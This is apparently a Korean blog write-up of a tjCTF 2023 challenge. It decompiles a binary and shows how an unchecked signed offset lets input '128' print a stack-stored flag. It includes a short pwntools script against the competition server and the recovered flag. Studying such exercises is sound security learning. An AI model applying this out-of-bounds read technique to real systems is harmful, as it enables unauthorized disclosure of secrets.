1. 개요
분석 문제
2. 분석
- flag.txt에서 읽고 flag 변수에 담은 다음 이것을 또 buf 변수에 저장합니다.
- input으로 받은 문자열을 atoi 함수로 integer로 변환하여 num 변수에 저장합니다.
- num 변수가 129보다 작으면, input 위치+ (num & 256) 주소의 값을 출력합니다.
- input과 buf의 차이 만큼의 수를 입력해야합니다.
flag = fopen("flag.txt","r");
if (flag == (FILE *)0x0) {
printf("Cannot find flag.txt.");
uVar1 = 1;
}
else {
fgets((char *)&buf,0x19,flag);
fclose(flag);
printf("Input: ");
__isoc99_scanf(&DAT_0010202d,&input);
num = atoi((char *)&input);
if ((int)num < 129) {
printf("%s",(long)&input + (long)(int)(num & 0xff));
uVar1 = 0;
}
else {
uVar1 = 0;
}
}
기드라로 열어서 스텍프레임을 확인하면, input과 buf의 차이는 0xb8 - 0x38 = 128입니다.
그래서 128을 입력하면됩니다.
3. exploit
from pwn import *
# 1. info
context.log_level = 'debug'
e = ELF("../flipOut")
"""
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
"""
p = remote("tjc.tf", 31601)
# 2. exploit
p.recvuntil("Input:")
payload = "128"
p.sendline(payload)
p.recvall()
# tjctf{chop-c4st-7bndbji}
'CTF' 카테고리의 다른 글
[seccon beginners ctf 2020] mask (1) | 2023.06.04 |
---|---|
[waniCTF 2023] only_once (0) | 2023.06.04 |
[tjCTF 2023] beep-boop-robot (0) | 2023.05.29 |
[SECCON - Beginners_CTF_2021] magic (0) | 2023.05.28 |
[SECCON - Beginners_CTF_2021] json (0) | 2023.05.28 |